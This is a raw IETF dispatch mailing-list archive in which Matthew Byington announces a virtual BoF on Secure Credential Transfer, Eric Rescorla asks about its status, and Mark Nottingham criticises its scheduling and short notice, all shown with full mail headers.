(unknown [17.150.208.212]) by rn-mailsvcp-mmp-lapp02.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) with ESMTPSA id <0R6A011BD6G2TQ00@rn-mailsvcp-mmp-lapp02.rno.apple.com> for dispatch@ietf.org; Tue, 25 Jan 2022 11:36:13 -0800 (PST) From: Matthew Byington Content-type: multipart/alternative; boundary="Apple-Mail=_2ECE9A26-6B64-4084-A602-DC0FAF1967E5" MIME-version: 1.0 (Mac OS X Mail 14.0 \(3654.120.0.1.13\)) Message-id: Date: Tue, 25 Jan 2022 11:36:13 -0800 To: dispatch@ietf.org X-Mailer: Apple Mail (2.3654.120.0.1.13) X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:6.0.425, 18.0.816 definitions=2022-01-25_04:2022-01-25, 2022-01-25 signatures=0 Archived-At: Subject: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Jan 2022 19:36:19 -0000 --Apple-Mail=_2ECE9A26-6B64-4084-A602-DC0FAF1967E5 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Hi there, I wanted to send an email out communicating an upcoming virtual BoF = meeting scheduled for Thursday February 10th. This is a follow-on to the initial presentation at IETF week 112 given = last year. I am posting the information below to a few different IETF mailing = lists, so apologies if you receive duplicate notifications on the = subject. A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to get = this scheduled and organized. Latest draft: = https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html Charter: = https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.md= =09 BoF Request: = https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-req= uest/ =09 Virtual BoF (Francesca is finalizing this schedule still, but this is = the proposed date and time): Thursday February 10th 17:00-19:00 UTC = (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D2673730&= date=3D2022-2-10&sln=3D18-20&hf=3D1) Mailing list: https://www.ietf.org/mailman/listinfo/secret = =20 Thanks, Matt= --Apple-Mail=_2ECE9A26-6B64-4084-A602-DC0FAF1967E5 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=utf-8 Hi = there,

I wanted to = send an email out communicating an upcoming virtual BoF meeting = scheduled for Thursday February 10th.

This is a follow-on to the initial = presentation at IETF week 112 given last year.

I am posting the information below to = a few different IETF mailing lists, so apologies if you = receive duplicate notifications on the subject.

A big =E2=80=9Cthank you=E2=80=9D to = Francesca for helping us to get this scheduled and organized.

Latest = draft:
https://www.ietf.org/archive/id/draft-secure-credential-transfe= r-03.html

Charter:
https://github.com/dimmyvi/secure-credential-transfer/blob/main= /charter.md
BoF Request:
https://datatracker.ietf.org/doc/bofreq-secure-credential-trans= fer-bof-request/
Virtual BoF (Francesca is finalizing this schedule still, but = this is the proposed date and time):
Thursday = February 10th 17:00-19:00 UTC (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,10= 0&h=3D2673730&date=3D2022-2-10&sln=3D18-20&hf=3D1)

Mailing list:
https://www.ietf.org/mailman/listinfo/secret 

Thanks,
Matt
= --Apple-Mail=_2ECE9A26-6B64-4084-A602-DC0FAF1967E5-- From nobody Tue Jan 25 11:38:51 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 24CFF3A05DC for ; Tue, 25 Jan 2022 11:38:50 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.895 X-Spam-Level: X-Spam-Status: No, score=-1.895 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, HTML_MESSAGE=0.001, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=rtfm-com.20210112.gappssmtp.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id bREj_Q5keEeQ for ; Tue, 25 Jan 2022 11:38:46 -0800 (PST) Received: from mail-il1-x132.google.com (mail-il1-x132.google.com [IPv6:2607:f8b0:4864:20::132]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id EE7D03A046E for ; Tue, 25 Jan 2022 11:38:45 -0800 (PST) Received: by mail-il1-x132.google.com with SMTP id o10so17811914ilh.0 for ; Tue, 25 Jan 2022 11:38:45 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=rtfm-com.20210112.gappssmtp.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; bh=HBx+vmzS54JmPfOuul9bQiLrNTdPT0jtYRQZUCUR5m8=; b=Erkz06bDTk65xyW9xBnLebjI9NN8FGwArlLTjcwBGzErSHFQhGLIg6HAvi7xJpo4Ri w/YjIeduDjbVNDkZ3wCV26mFvzc9gxOOXZ1+2vnnMotLFdp/S9aiEZ3O4kL7KTNBQJBW jnc3fQZR6V0FY83CIoW79RdiYAZNq/RAXEoAgmeT762pUl59mz8H29sS+z9aActDrBu4 FpNwWrX3muoqRMwjNuOFIyjSa2zjJdos3s031K4ilZ2TO61O7OmR+K7+tzbZY8sAkF4j Ii6RPh6+xjOB9fj1xNoiOHMoftWAATyDRo7WVlmFoLzqsYfqhbcA6PG8hvlzzcmhebu3 BCZg== X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20210112; h=x-gm-message-state:mime-version:references:in-reply-to:from:date :message-id:subject:to:cc; bh=HBx+vmzS54JmPfOuul9bQiLrNTdPT0jtYRQZUCUR5m8=; b=LWyEavutldSih/oebMgc0BLOKs9AK8YpHOY75PpgC42DlANitnmQnwV6r/MMLZ+3mo 71zfxS0y+wNBKLiOYwkcwmnN8T1aMtLtrQXASTuoG6l2A1nHa4VpgHKl/kfUDml8yI5t 4L15xEbXu1JHU/YwJlj8/CnIqqmzGiOhNeg+aGzPWdqg6k+fp+DThgnNYGVybPWNifhD oGZIb8yv6ozh3uKnfCUsXPNFt42ng/3TZvFj8Og+Klrb4aPbf7ZY9VkXzTGyu//HU95D xD1wDJ5O7OeGNjjrmkJSawtnyncQbnBoGv7B0Ig1uvoRNjEabUpl5kjw80d3xGzYdR2y /N/w== X-Gm-Message-State: AOAM532jmkhdS79/6CelDlfP8p+yShQjK/U8e40mmsqmMzx+iZlcpEPV XCZiwNWDMZi/dKkBaojBvW4+KJlzMJLM+VxQXAaUyxEuLSI= X-Google-Smtp-Source: ABdhPJzm9y4WN9uijXDn4NFoD1tmhEYpL53HpvPgPXOLqHcTQuZLP0aXNLIfC5SVBXCyq5K6R7bV0+IvsrcSCBQpC3k= X-Received: by 2002:a05:6e02:1946:: with SMTP id x6mr12450644ilu.10.1643139524059; Tue, 25 Jan 2022 11:38:44 -0800 (PST) MIME-Version: 1.0 References: In-Reply-To: From: Eric Rescorla Date: Tue, 25 Jan 2022 11:38:08 -0800 Message-ID: To: Matthew Byington Cc: DISPATCH Content-Type: multipart/alternative; boundary="000000000000a5f87a05d66d3b9f" Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 25 Jan 2022 19:38:50 -0000 --000000000000a5f87a05d66d3b9f Content-Type: text/plain; charset="UTF-8" Content-Transfer-Encoding: quoted-printable Can you clarify what the status of a "virtual BoF" is, here? I.e., is this in lieu of an actual BoF at the next IETF? Is this WG forming? -Ekr On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington wrote: > Hi there, > > I wanted to send an email out communicating an upcoming virtual BoF > meeting scheduled for Thursday February 10th. > > This is a follow-on to the initial presentation at IETF week 112 given > last year. > > I am posting the information below to a few different IETF mailing lists, > so apologies if you receive duplicate notifications on the subject. > > A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to get this= scheduled and > organized. > > *Latest draft:* > https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html > > *Charter:* > https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.m= d > *BoF Request:* > > https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-re= quest/ > *Virtual BoF (Francesca is finalizing this schedule still, but this is th= e > proposed date and time):* > Thursday February 10th 17:00-19:00 UTC ( > https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D2673730&= date=3D2022-2-10&sln=3D18-20&hf=3D1 > ) > > *Mailing list:* > https://www.ietf.org/mailman/listinfo/secret > > Thanks, > Matt > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch > --000000000000a5f87a05d66d3b9f Content-Type: text/html; charset="UTF-8" Content-Transfer-Encoding: quoted-printable
Can you clarify what the status of a "virtual Bo= F" is, here? I.e., is this in lieu of an actual BoF at the next IETF? = Is this WG forming?

-Ekr

<= /div>
O= n Tue, Jan 25, 2022 at 11:36 AM Matthew Byington <mbyington=3D40apple.com@dmarc.ietf.org> wrot= e:
Hi there,

I wanted to send = an email out communicating an upcoming virtual BoF meeting scheduled for Th= ursday February 10th.

This is a follow-on to the i= nitial presentation at IETF week 112 given last year.

<= div>I am posting the information below to a=C2=A0few=C2=A0different IETF ma= iling lists, so apologies if you receive duplicate notifications on the sub= ject.

A big =E2=80=9Cthank you=E2=80=9D to Frances= ca for helping us to get this scheduled and organized.

=
Latest draft:

Charter:
BoF Request:
Virtual BoF (Francesca is fina= lizing this schedule still, but this is the proposed date and time):

Mailing list:

Thanks,
Matt
=
_______________________________________________
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch
--000000000000a5f87a05d66d3b9f-- From nobody Tue Jan 25 17:00:47 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id B03583A196D for ; Tue, 25 Jan 2022 17:00:45 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.676 X-Spam-Level: X-Spam-Status: No, score=-2.676 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIMWL_WL_HIGH=-0.576, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, HTML_MESSAGE=0.001, RCVD_IN_MSPIKE_H2=-0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=apple.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id qiTD-6dm0C_O for ; Tue, 25 Jan 2022 17:00:41 -0800 (PST) Received: from ma1-aaemail-dr-lapp02.apple.com (ma1-aaemail-dr-lapp02.apple.com [17.171.2.68]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 4F1923A1968 for ; Tue, 25 Jan 2022 17:00:41 -0800 (PST) Received: from pps.filterd (ma1-aaemail-dr-lapp02.apple.com [127.0.0.1]) by ma1-aaemail-dr-lapp02.apple.com (8.16.0.42/8.16.0.42) with SMTP id 20Q0weXk032763; Tue, 25 Jan 2022 17:00:39 -0800 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=apple.com; h=from : message-id : content-type : mime-version : subject : date : in-reply-to : cc : to : references; s=20180706; bh=LNuvoWLAbvghgDx1f+pr1TgZBNrcYe2T0mrmxw/rovA=; b=eAyPgd7pkNG3JajZyU5cdXW8+hiirgjGXae6xhihL1ci1bN6jh4wwnHyINQOEIhT14Mj woDlqAw4m6BJVU/zKPzYZtd6b7ORQ2t4twW/rJj0VYRCAZzjN1pyv6kQwAa5Y5pHZ7mv eW5mtTCD26G9ejc7v+xg6Kfhwl69DgWHfYACIzHRTVkwYNIZXC7gEuHQt5Uo1hKPKjjn 6ZXMQsyqelPXvzsUrG3+UwgtjDpDcBkDZrc40h/zy8IJ3ogxdrnm/9x4dTop5HeZMb+L 7a9MqVOfMpUjEfJkYVIp37INuNRuQn85SyELrSrmJwTGtjvR08mAOrhVIysPPAQaQRcE lg== Received: from rn-mailsvcp-mta-lapp02.rno.apple.com (rn-mailsvcp-mta-lapp02.rno.apple.com [10.225.203.150]) by ma1-aaemail-dr-lapp02.apple.com with ESMTP id 3drffxknud-6 (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO); Tue, 25 Jan 2022 17:00:39 -0800 Received: from rn-mailsvcp-mmp-lapp02.rno.apple.com (rn-mailsvcp-mmp-lapp02.rno.apple.com [17.179.253.15]) by rn-mailsvcp-mta-lapp02.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) with ESMTPS id <0R6A00RYRLH2RP60@rn-mailsvcp-mta-lapp02.rno.apple.com>; Tue, 25 Jan 2022 17:00:38 -0800 (PST) Received: from process_milters-daemon.rn-mailsvcp-mmp-lapp02.rno.apple.com by rn-mailsvcp-mmp-lapp02.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) id <0R6A01100LG44900@rn-mailsvcp-mmp-lapp02.rno.apple.com>; Tue, 25 Jan 2022 17:00:38 -0800 (PST) X-Va-A: X-Va-T-CD: 7a77f9138d60728e010dfb6f2118f5e7 X-Va-E-CD: 1b2514d45a6cbacdd746d7feed02cb99 X-Va-R-CD: 21f245648979a34695bda2dc7cf5e7b6 X-Va-CD: 0 X-Va-ID: 46b86f72-640e-44d5-bfff-3b35e1a792c8 X-V-A: X-V-T-CD: 7a77f9138d60728e010dfb6f2118f5e7 X-V-E-CD: 1b2514d45a6cbacdd746d7feed02cb99 X-V-R-CD: 21f245648979a34695bda2dc7cf5e7b6 X-V-CD: 0 X-V-ID: 814292b5-1bcb-44e2-ae1a-64ed288b22b3 X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:6.0.425, 18.0.816 definitions=2022-01-25_06:2022-01-25, 2022-01-25 signatures=0 Received: from smtpclient.apple (unknown [17.150.208.212]) by rn-mailsvcp-mmp-lapp02.rno.apple.com (Oracle Communications Messaging Server 8.1.0.12.20210903 64bit (built Sep 3 2021)) with ESMTPSA id <0R6A00S4SLH1UF00@rn-mailsvcp-mmp-lapp02.rno.apple.com>; Tue, 25 Jan 2022 17:00:38 -0800 (PST) From: Matthew Byington Message-id: Content-type: multipart/alternative; boundary="Apple-Mail=_F07597BC-203A-4A3B-BE46-CBAB3CCF2305" MIME-version: 1.0 (Mac OS X Mail 14.0 \(3654.120.0.1.13\)) Date: Tue, 25 Jan 2022 17:00:37 -0800 In-reply-to: Cc: DISPATCH To: Eric Rescorla References: X-Mailer: Apple Mail (2.3654.120.0.1.13) X-Proofpoint-Virus-Version: vendor=fsecure engine=2.50.10434:6.0.425, 18.0.816 definitions=2022-01-25_06:2022-01-25, 2022-01-25 signatures=0 Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 26 Jan 2022 01:00:46 -0000 --Apple-Mail=_F07597BC-203A-4A3B-BE46-CBAB3CCF2305 Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Hi Eric, My understanding is that the BoF will be handled virtually (not = in-person). It has also been scheduled outside of the normal IETF week. The BoF is working-group forming, yes. Matt > On Jan 25, 2022, at 11:38 AM, Eric Rescorla wrote: >=20 > Can you clarify what the status of a "virtual BoF" is, here? I.e., is = this in lieu of an actual BoF at the next IETF? Is this WG forming? >=20 > -Ekr >=20 >=20 > On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington = > wrote: > Hi there, >=20 > I wanted to send an email out communicating an upcoming virtual BoF = meeting scheduled for Thursday February 10th. >=20 > This is a follow-on to the initial presentation at IETF week 112 given = last year. >=20 > I am posting the information below to a few different IETF mailing = lists, so apologies if you receive duplicate notifications on the = subject. >=20 > A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to get = this scheduled and organized. >=20 > Latest draft: > = https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html = = >=20 > Charter: > = https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.md= = > =09 > BoF Request: > = https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-req= uest/ = > =09 > Virtual BoF (Francesca is finalizing this schedule still, but this is = the proposed date and time): > Thursday February 10th 17:00-19:00 UTC = (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D2673730&= date=3D2022-2-10&sln=3D18-20&hf=3D1 = ) >=20 > Mailing list: > https://www.ietf.org/mailman/listinfo/secret = =20 >=20 > Thanks, > Matt > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch = --Apple-Mail=_F07597BC-203A-4A3B-BE46-CBAB3CCF2305 Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=utf-8 Hi = Eric,

My = understanding is that the BoF will be handled virtually (not in-person). = It has also been scheduled outside of the normal IETF week.

The BoF is working-group = forming, yes.

Matt

On Jan 25, 2022, at 11:38 AM, = Eric Rescorla <ekr@rtfm.com> wrote:

Can you clarify what the status of a "virtual = BoF" is, here? I.e., is this in lieu of an actual BoF at the next IETF? = Is this WG forming?

-Ekr


On Tue, Jan 25, 2022 at 11:36 AM = Matthew Byington <mbyington=3D40apple.com@dmarc.ietf.org> wrote:
Hi there,

I wanted to send an email out communicating an upcoming = virtual BoF meeting scheduled for Thursday February 10th.

This is a follow-on to = the initial presentation at IETF week 112 given last year.

I am posting the = information below to a few different IETF mailing lists, so = apologies if you receive duplicate notifications on the = subject.

A big = =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to get this = scheduled and organized.

Latest draft:
https://www.ietf.org/archive/id/draft-secure-credential-transfe= r-03.html

Charter:
https://github.com/dimmyvi/secure-credential-transfer/blob/main= /charter.md
BoF = Request:
https://datatracker.ietf.org/doc/bofreq-secure-credential-trans= fer-bof-request/
Virtual BoF (Francesca is finalizing this = schedule still, but this is the proposed date and time):
= Thursday February 10th 17:00-19:00 UTC (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,10= 0&h=3D2673730&date=3D2022-2-10&sln=3D18-20&hf=3D1)

Mailing list:
https://www.ietf.org/mailman/listinfo/secret 

Thanks,
Matt
_______________________________________________=
dispatch mailing list
dispatch@ietf.org
https://www.ietf.org/mailman/listinfo/dispatch

= --Apple-Mail=_F07597BC-203A-4A3B-BE46-CBAB3CCF2305-- From nobody Wed Jan 26 16:18:13 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id A1D8C3A0C51; Wed, 26 Jan 2022 16:17:58 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -2.099 X-Spam-Level: X-Spam-Status: No, score=-2.099 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, DKIM_VALID_AU=-0.1, DKIM_VALID_EF=-0.1, RCVD_IN_DNSWL_BLOCKED=0.001, SPF_PASS=-0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=mnot.net header.b=kjg6281l; dkim=pass (2048-bit key) header.d=messagingengine.com header.b=bjwfyOzz Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id ttU-dauyaz_P; Wed, 26 Jan 2022 16:17:53 -0800 (PST) Received: from wout4-smtp.messagingengine.com (wout4-smtp.messagingengine.com [64.147.123.20]) (using TLSv1.2 with cipher ADH-AES256-GCM-SHA384 (256/256 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id DABC33A0C4E; Wed, 26 Jan 2022 16:17:53 -0800 (PST) Received: from compute5.internal (compute5.nyi.internal [10.202.2.45]) by mailout.west.internal (Postfix) with ESMTP id A9FC532022EC; Wed, 26 Jan 2022 19:17:51 -0500 (EST) Received: from mailfrontend2 ([10.202.2.163]) by compute5.internal (MEProxy); Wed, 26 Jan 2022 19:17:52 -0500 DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=mnot.net; h=cc :cc:content-transfer-encoding:content-type:date:date:from:from :in-reply-to:in-reply-to:message-id:mime-version:references :reply-to:sender:subject:subject:to:to; s=fm1; bh=z4jJZ95P8NL8gL FwQmHt7LTPkq6wwqxTYTaTq7iQzxI=; b=kjg6281lY6kMvsFXRShkT5k24EOde1 dK0HfUdCWgyLANFwg4tsY08cfBf/7mi3sWWVS2kDGuDh37FDIeSEmS4StKLSLWEY k9vL40tWX8dudrmbbT9XtBZkwV4+lWOAtO038CAs01zZuBgKGaCyCm06nrfBXlRm ty8gpfVJByF08jSAUKa43BzvUy2u9Gal01gOih/hYq1stBfcc9H4Fvstjt9wUrYg hpTI5htRi6vhpJlEUp/lnwvujvYHYgrcE35fvaZ1tINptkqhmDFIgIUgmdi85IBM l6HwIbgZ9oWzmEUVaiKgarytEWi+3UlQXYI0J6qd/5cADPYUa3O2+gvw== DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d= messagingengine.com; h=cc:cc:content-transfer-encoding :content-type:date:date:from:from:in-reply-to:in-reply-to :message-id:mime-version:references:reply-to:sender:subject :subject:to:to:x-me-proxy:x-me-proxy:x-me-sender:x-me-sender :x-sasl-enc; s=fm1; bh=z4jJZ95P8NL8gLFwQmHt7LTPkq6wwqxTYTaTq7iQz xI=; b=bjwfyOzz9oVnVQRRW/18qynU9D+sKnWN6WTKdh9CmtnAp3qhNl27NESNj VHzKZpnXYLVrZqttblnwOl7W8UnkAbqLMzHVjFIhqXyqlPKeoypWm6qhGZti7Rb5 3zv/WHfTbjIhc5xebM3jnxIsr/iVQI5l8ewJM4RQeIfBr4xKpVGAEwsD6cOvgfS0 4CIB7r+RiLDAeFhceXEPn8pAENLmuN5GdqtWBK2WSdbQJF8/pjiZRNaTUvW1rEGj aYJ63CYTvrjd5XvjbmMVXt+zk9ShuaMFBt1gB9Vs1/pMv2a3X/4ucIBFWqq6CJkd ZW7kLlrQ4eH7rjTYo/k65BnNPmF6A== X-ME-Sender: X-ME-Received: X-ME-Proxy-Cause: gggruggvucftvghtrhhoucdtuddrgedvvddrfedvgddulecutefuodetggdotefrodftvf curfhrohhfihhlvgemucfhrghsthforghilhdpqfgfvfdpuffrtefokffrpgfnqfghnecu uegrihhlohhuthemuceftddtnecusecvtfgvtghiphhivghnthhsucdlqddutddtmdenuc fjughrpegtggfuhfgjfffgkfhfvffosehtqhhmtdhhtdejnecuhfhrohhmpeforghrkhcu pfhothhtihhnghhhrghmuceomhhnohhtsehmnhhothdrnhgvtheqnecuggftrfgrthhtvg hrnhepudevuefgiefhtdeuffdtieejleekudduhfekheetueeiffegudejveduteeiueeu necuffhomhgrihhnpehivghtfhdrohhrghdpghhithhhuhgsrdgtohhmpdgthhgrrhhtvg hrrdhmugdpfihorhhlughtihhmvggsuhguugihrdgtohhmpdhmnhhothdrnhgvthenucev lhhushhtvghrufhiiigvpedtnecurfgrrhgrmhepmhgrihhlfhhrohhmpehmnhhothesmh hnohhtrdhnvght X-ME-Proxy: Received: by mail.messagingengine.com (Postfix) with ESMTPA; Wed, 26 Jan 2022 19:17:48 -0500 (EST) Content-Type: text/plain; charset=utf-8 Mime-Version: 1.0 (Mac OS X Mail 15.0 \(3693.40.0.1.81\)) From: Mark Nottingham In-Reply-To: Date: Thu, 27 Jan 2022 11:17:44 +1100 Cc: Eric Rescorla , DISPATCH , Matthew Byington Content-Transfer-Encoding: quoted-printable Message-Id: References: To: The IESG X-Mailer: Apple Mail (2.3693.40.0.1.81) Archived-At: Subject: Re: [dispatch] Secure Credential Transfer Charter & BoF X-BeenThere: dispatch@ietf.org X-Mailman-Version: 2.1.29 Precedence: list List-Id: DISPATCH Working Group Mail List List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Thu, 27 Jan 2022 00:17:59 -0000 I'm a little surprised to hear this.=20 Holding BoFs during IETF weeks gives them elevated visibility during a = period when IETF folks have already reserved their attention and time = for IETF matters. Scheduling one out of an IETF week means that people = need to accommodate it in their schedules, not only for the event but = also for preparation work.=20 Holding such a BoF virtually compounds that -- especially when there has = been ZERO consultation with the broad community about timing. E.g, if I = wanted to attend this BoF, I'd need to be up before 4am. The icing on the cake, though, is announcing it with only two weeks' = notice -- a period of time shorter than many vacations. As a result, I have very little confidence that this BoF will reflect = community consensus and input. Of course, you will confirm consensus on = lists, etc., but holding the BoF in such a limited forum taints the = outcome. IESG, this is a horrible precedent and while I won't specifically argue = to cancel or delay this BoF, I do expect you to be much more thoughtful = about these issues. Cheers, > On 26 Jan 2022, at 12:00 pm, Matthew Byington = wrote: >=20 > Hi Eric, >=20 > My understanding is that the BoF will be handled virtually (not = in-person). It has also been scheduled outside of the normal IETF week. >=20 > The BoF is working-group forming, yes. >=20 > Matt >=20 >> On Jan 25, 2022, at 11:38 AM, Eric Rescorla wrote: >>=20 >> Can you clarify what the status of a "virtual BoF" is, here? I.e., is = this in lieu of an actual BoF at the next IETF? Is this WG forming? >>=20 >> -Ekr >>=20 >>=20 >> On Tue, Jan 25, 2022 at 11:36 AM Matthew Byington = wrote: >> Hi there, >>=20 >> I wanted to send an email out communicating an upcoming virtual BoF = meeting scheduled for Thursday February 10th. >>=20 >> This is a follow-on to the initial presentation at IETF week 112 = given last year. >>=20 >> I am posting the information below to a few different IETF mailing = lists, so apologies if you receive duplicate notifications on the = subject. >>=20 >> A big =E2=80=9Cthank you=E2=80=9D to Francesca for helping us to get = this scheduled and organized. >>=20 >> Latest draft: >> = https://www.ietf.org/archive/id/draft-secure-credential-transfer-03.html >>=20 >> Charter: >> = https://github.com/dimmyvi/secure-credential-transfer/blob/main/charter.md= >> =09 >> BoF Request: >> = https://datatracker.ietf.org/doc/bofreq-secure-credential-transfer-bof-req= uest/ >> =09 >> Virtual BoF (Francesca is finalizing this schedule still, but this is = the proposed date and time): >> Thursday February 10th 17:00-19:00 UTC = (https://www.worldtimebuddy.com/?qm=3D1&lid=3D2673730,5,8,100&h=3D2673730&= date=3D2022-2-10&sln=3D18-20&hf=3D1) >>=20 >> Mailing list: >> https://www.ietf.org/mailman/listinfo/secret=20 >>=20 >> Thanks, >> Matt >> _______________________________________________ >> dispatch mailing list >> dispatch@ietf.org >> https://www.ietf.org/mailman/listinfo/dispatch >=20 > _______________________________________________ > dispatch mailing list > dispatch@ietf.org > https://www.ietf.org/mailman/listinfo/dispatch -- Mark Nottingham https://www.mnot.net/ From nobody Wed Jan 26 16:22:34 2022 Return-Path: X-Original-To: dispatch@ietfa.amsl.com Delivered-To: dispatch@ietfa.amsl.com Received: from localhost (localhost [127.0.0.1]) by ietfa.amsl.com (Postfix) with ESMTP id 021563A0CA7 for ; Wed, 26 Jan 2022 16:22:32 -0800 (PST) X-Virus-Scanned: amavisd-new at amsl.com X-Spam-Flag: NO X-Spam-Score: -1.896 X-Spam-Level: X-Spam-Status: No, score=-1.896 tagged_above=-999 required=5 tests=[BAYES_00=-1.9, DKIM_SIGNED=0.1, DKIM_VALID=-0.1, HTML_MESSAGE=0.001, SPF_HELO_NONE=0.001, SPF_NONE=0.001, URIBL_BLOCKED=0.001] autolearn=ham autolearn_force=no Authentication-Results: ietfa.amsl.com (amavisd-new); dkim=pass (2048-bit key) header.d=rtfm-com.20210112.gappssmtp.com Received: from mail.ietf.org ([4.31.198.44]) by localhost (ietfa.amsl.com [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 4n0ak_fK477W for ; Wed, 26 Jan 2022 16:22:27 -0800 (PST) Received: from mail-io1-xd2f.google.com (mail-io1-xd2f.google.com [IPv6:2607:f8b0:4864:20::d2f]) (using TLSv1.2 with cipher ECDHE-RSA-AES128-GCM-SHA256 (128/128 bits)) (No client certificate requested) by ietfa.amsl.com (Postfix) with ESMTPS id 0ED463A09ED for ; Wed, 26 Jan 2022 16:22:27 -0800 (PST) Received: by mail-io1-xd2f.google.com with SMTP id w7so1649982ioj.5 for ; Wed, 26 Jan 2022 16:22:27 -0800 (PST) DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=rtfm-com.20210112.gappssmtp.com; s=20210112; h=mime-version:references:in-reply-to:from:date:message-id:subject:to :cc; 